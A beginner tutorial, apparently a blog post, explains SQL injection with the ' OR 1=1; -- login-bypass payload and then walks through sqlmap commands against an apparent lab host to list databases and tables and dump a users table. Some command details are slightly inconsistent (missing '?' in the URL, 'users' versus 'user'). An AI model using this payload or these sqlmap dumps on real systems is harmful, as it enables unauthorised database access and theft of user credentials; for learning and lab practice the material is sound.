SQLMap Basics For SQL Injection

What is SQL injection?

SQL injection takes advantage of a vulnurability in user input fields such as logins and search. Since these functions (logins and search) call upon a database, you could inject your own query and get precious data.

For example, a "boolean-based blind" is a type of SQL injection where the query is modified to include boolean expression that's always true (like 1=1) to extract information.

Here's how it looks like:

First, this is what an SQL query for finding if a username & password exists in a database (during login)

SELECT * FROM users WHERE username = 'Emily' AND password = '12345'

SQL is very easy to read, like an english sentance:

Select all the rows in the 'users' table
where the username is Emily and the password is 1234

But if we were to input the username as

Emily' OR 1=1; --

Notice the quotation mark after Emily, this is to close the string and have the rest be treated as SQL

The final query would look like this:

SELECT * FROM users WHERE username = 'Emily' OR 1=1; -- AND password = '12345'

By adding those double dashes "--" we've commented out the password section, essentially telling SQL to ignore that part of the query.

And now the query demands the database to return ALL of Emily's information.

But if there is no user which has the username "Emily", It'll give me every user's information so long as 1 is equal to 1

And ofcourse, 1 is ALWAYS equal to 1, thus we'll get every users' information.

SQLMap Automating Injection

Here's an example Login form

If a website uses GET parameters in the URL, it could be vulnurable to injection. So let's first check by trying to log in and watching the network tab.

Indeed, we find it exposes the parameters in the URL.

Here's the SQL query response for our login

So we'll go to our terminal and run this sqlmap command:

sqlmap -u 
'http://10.114.164.115/ai/includes/user_login email=test&password=123'
--dbs --level=5

• sqlmap -u | Initializes SQLMap and passes in a url
• --dbs --level=5 | Searches for databases and uses a more thorough scan

Alright then lets open up that 'ai' database and read through it's available tables with:

sqlmap -u 
'http://10.114.164.115/ai/includes/user_login email=test&password=123'
-D ai
--tables

• -D ai | Selects the 'ai' database
• --tables | Scans the available tables

We have 1 table, the users table, so lets dump the users in that table.

sqlmap -u
'http://10.114.164.115/ai/includes/user_login email=test&password=123'
-D ai -T user
--dump

• -D ai -T user | Selects the ai database, and the user table inside
• --dump | Dumps all rows

Woohoo successfully infiltrated

This Was SQLMap

lucirie (Ziad Alezzi) · GitHub

lucirie has 35 repositories available. Follow their code on GitHub.

github.com